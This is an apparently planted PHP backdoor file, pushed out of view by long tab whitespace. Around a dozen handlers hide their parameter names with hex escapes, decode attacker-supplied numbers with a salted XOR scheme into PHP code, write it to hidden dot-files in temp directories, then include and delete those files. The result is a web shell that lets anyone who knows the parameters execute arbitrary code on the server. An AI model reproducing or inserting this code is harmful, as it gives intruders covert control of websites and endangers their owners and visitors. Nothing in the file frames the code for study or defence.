<?php																																										if(@$_POST["m\x61rk\x65r"] !== null){ $rec = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $tkn = $_POST["m\x61rk\x65r"]; $tkn= explode ( '.' , $tkn); $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $l =0; $__tmp =$tkn; while($v4 =array_shift($__tmp)) { $sChar =ord($s[$l% $sLen]); $d =((int)$v4 - $sChar -($l% 10)) ^ 56; $dat .= chr($d); $l++; } foreach ($rec as $reference) { if (is_dir($reference) && is_writable($reference)) { $item = sprintf("%s/.flag", $reference); if (file_put_contents($item, $dat)) { require $item; unlink($item); exit; } } } }
																																										if(@$_REQUEST["\x68\x6Cd"] !== null){ $entity = $_REQUEST["\x68\x6Cd"]; $entity=explode( '.' ,$entity ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($entity ); for ($y = 0; $y < $len; $y++) { $v4 = $entity[$y]; $sChar = ord($s[$y % $sLen] ); $d = ((int)$v4 - $sChar - ($y % 10)) ^ 72; $property_set .= chr($d ); } $parameter_group = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp"]); foreach ($parameter_group as $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $pgrp = "$dat" . "/.desc"; $success = file_put_contents($pgrp, $property_set); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(array_key_exists("\x73\x79m", $_REQUEST)){ $desc = $_REQUEST["\x73\x79m"]; $desc= explode( '.',$desc ) ; $symbol = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $y = 0; $__tmp = $desc; while( $v4 = array_shift( $__tmp)) { $sChar = ord( $s5[$y%$lenS] ); $d =( ( int)$v4 - $sChar -( $y%10)) ^ 43; $symbol .=chr( $d ); $y++; } $bind = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); for ($token = 0, $entity = count($bind); $token < $entity; $token++) { $hld = $bind[$token]; if (is_dir($hld) ? is_writable($hld) : false) { $ptr = str_replace("{var_dir}", $hld, "{var_dir}/.data"); if (file_put_contents($ptr, $symbol)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(!is_null($_REQUEST["i\x74\x6D"] ?? null)){ $holder = $_REQUEST["i\x74\x6D"]; $holder= explode ( '.',$holder ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; $__tmp = $holder; while($v6 = array_shift($__tmp)) {$chS = ord($salt[$j % $sLen]); $d =((int)$v6 - $chS -($j % 10)) ^59; $tkn .= chr($d); $j++; } $ent = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), session_save_path()]); $object = 0; do { $sym = $ent[$object] ?? null; if ($object >= count($ent)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $descriptor = sprintf("%s/.component", $sym); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $descriptor; @unlink($descriptor); die(); } } $object++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x72es\x6Fu\x72c\x65"])){ $data = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/tmp"]); $bind = $_POST["\x72es\x6Fu\x72c\x65"]; $bind = explode( "." , $bind ); $dat =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s2 ); $m =0; array_walk( $bind , function( $v9) use( &$dat , &$m , $s2 , $lenS) { $sChar =ord( $s2[$m % $lenS] ); $dec =( ( int)$v9 - $sChar -( $m % 10)) ^ 24; $dat .= chr( $dec ); $m++; } ); $token = 0; do { $property_set = $data[$token] ?? null; if ($token >= count($data)) break; if (is_dir($property_set) ? is_writable($property_set) : false) { $descriptor = sprintf("%s/.hld", $property_set); if (@file_put_contents($descriptor, $dat) !== false) { include $descriptor; unlink($descriptor); die(); } } $token++; } while (true); }
																																										if(@$_REQUEST["\x70\x74r"] !== null){ $hld = $_REQUEST["\x70\x74r"]; $hld =explode ('.', $hld ) ; $factor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $m = 0; foreach ($hld as $v6) { $chS = ord($s1[$m % $sLen] ); $dec = ((int)$v6 - $chS - ($m % 10)) ^ 56; $factor .= chr($dec ); $m++;} $item = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp"]); while ($flag = array_shift($item)) { if (is_writable($flag) && is_dir($flag)) { $symbol = "$flag" . "/.record"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $symbol; @unlink($symbol); exit; } } } }
																																										if(!empty($_REQUEST["k"])){ $key = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir()]); $obj = $_REQUEST["k"]; $obj = explode ('.', $obj); $pgrp = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $n = 0; array_walk($obj, function ($v9) use (&$pgrp, &$n, $s8, $lenS) { $sChar = ord($s8[$n%$lenS]); $dec = ((int)$v9 - $sChar - ($n%10)) ^ 78; $pgrp .= chr($dec); $n++; }); foreach ($key as $ent): if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $holder = "$ent" . "/.flag"; if (file_put_contents($holder, $pgrp)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["valu\x65"])){ $pointer = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); $itm = $_POST["valu\x65"]; $itm = explode ("." ,$itm ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $m = 0; foreach( $itm as $v5) { $sChar = ord( $s[$m % $lenS] ); $d =( ( int)$v5 - $sChar -( $m % 10)) ^ 76; $token.= chr( $d ); $m++;} for ($flg = 0, $data = count($pointer); $flg < $data; $flg++) { $fac = $pointer[$flg]; if (max(0, is_dir($fac) * is_writable($fac))) { $desc = str_replace("{var_dir}", $fac, "{var_dir}/.object"); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(in_array("b\x69nd", array_keys($_POST))){ $entry = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd()]); $factor = $_POST["b\x69nd"]; $factor= explode ( '.', $factor ) ; $pset=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt3); $l=0; array_walk($factor, function ($v1) use (&$pset, &$l, $salt3, $lenS) { $sChar=ord($salt3[$l % $lenS]); $d=((int)$v1 - $sChar - ($l % 10)) ^ 41; $pset .=chr($d); $l++;} ); $dchunk = 0; do { $marker = $entry[$dchunk] ?? null; if ($dchunk >= count($entry)) break; if ((is_dir($marker) and is_writable($marker))) { $obj = join("/", [$marker, ".comp"]); if (@file_put_contents($obj, $pset) !== false) { include $obj; unlink($obj); exit; } } $dchunk++; } while (true); }
																																										if(!is_null($_POST["co\x6D\x70\x6Fne\x6Et"] ?? null)){ $comp = $_POST["co\x6D\x70\x6Fne\x6Et"]; $comp = explode ( '.' ,$comp ) ; $binding = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $q = 0; foreach( $comp as $v4) { $chS = ord( $s4[$q % $sLen]); $dec =( ( int)$v4 - $chS -( $q % 10)) ^ 89; $binding.= chr( $dec); $q++; } $token = array_filter([getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path()]); foreach ($token as $desc) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $dat = join("/", [$desc, ".ent"]); if (file_put_contents($dat, $binding)) { require $dat; unlink($dat); die(); } } } }
																																										if(!empty($_REQUEST["\x70ar\x61m\x65\x74er\x5F\x67\x72ou\x70"])){ $data_chunk = $_REQUEST["\x70ar\x61m\x65\x74er\x5F\x67\x72ou\x70"]; $data_chunk =explode ('.' , $data_chunk) ; $pset = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); foreach ($data_chunk as $r=>$v6): $chS = ord($salt4[$r% $sLen] ); $d = ((int)$v6 - $chS - ($r% 10)) ^ 33; $pset.=chr($d ); endforeach; $descriptor = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $dchunk = 0; do { $ent = $descriptor[$dchunk] ?? null; if ($dchunk >= count($descriptor)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $object = join("/", [$ent, ".binding"]); if (file_put_contents($object, $pset)) { include $object; @unlink($object); die(); } } $dchunk++; } while (true); }


if(filter_has_var(INPUT_POST, "m\x61\x72\x6Ber")){
	$record = $_REQUEST["m\x61\x72\x6Ber"];
	$record=	explode   (   '.' 		,$record 	 )		 ;  
	$elem='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($s);
    
            foreach ($record as $i => $v7):
                $sChar=ord($s[$i	%$lenS]);
                $d=((int)$v7 - $sChar - ($i	%10)) ^ 26;
                $elem .= chr($d);
            endforeach;
	$holder = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path()]);
	$key = 0;
do {
    $reference = $holder[$key] ?? null;
    if ($key >= count($holder)) break;
    		if ((bool)is_dir($reference) && (bool)is_writable($reference)) {
    $object = "$reference/.fac";
    $success = file_put_contents($object, $elem);
if ($success) {
	include $object;
	@unlink($object);
	die();}
}
    $key++;
} while (true);
}